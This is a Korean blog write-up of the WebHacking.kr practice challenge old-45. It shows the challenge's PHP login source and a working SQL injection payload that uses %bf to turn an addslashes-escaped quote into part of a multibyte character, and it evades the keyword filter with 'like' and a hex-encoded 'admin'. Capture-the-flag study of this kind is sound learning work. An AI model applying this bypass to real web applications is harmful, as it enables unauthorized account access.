Search

WebHacking.kr Challenge old-45

목표 : SQLi addslashes 우회 %bf
SQL Injection 문제다. 소스코드를 보자.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 45</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> id : <input name=id value=guest><br> pw : <input name=pw value=guest><br> <input type=submit> </form> <hr><a href=./?view_source=1>view-source</a><hr> <?php if($_GET['id'] && $_GET['pw']){ $db = dbconnect(); $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr'); if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit(); if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit(); $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')")); if($result){ echo "hi {$result['id']}"; if($result['id'] == "admin") solve(45); } else echo("Wrong"); } ?> </body> </html>
PHP
복사
보자마자 비슷한 문제가 있었다. 해당 문제를 풀었다고 가정하고 설명할 예정이다.
id를 출력하고 id가 admin이 되면 해결되는 문제다.
멀티바이트에서 변환하므로 %bf를 활용해 '이 사용 가능하다.
admin select limit pw = < > 를 필터링한다.
select id from chall45 where id='aaa'||id='admin'#and pw=md5('{$_GET['pw']}')
PHP
복사
위와 같은 형태를 만들면 되니 필터링을 피해보자.
=like로, adminhex값으로 바꾼다.
aaa%bf%27||(id)like(0x61646d696e)%23

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.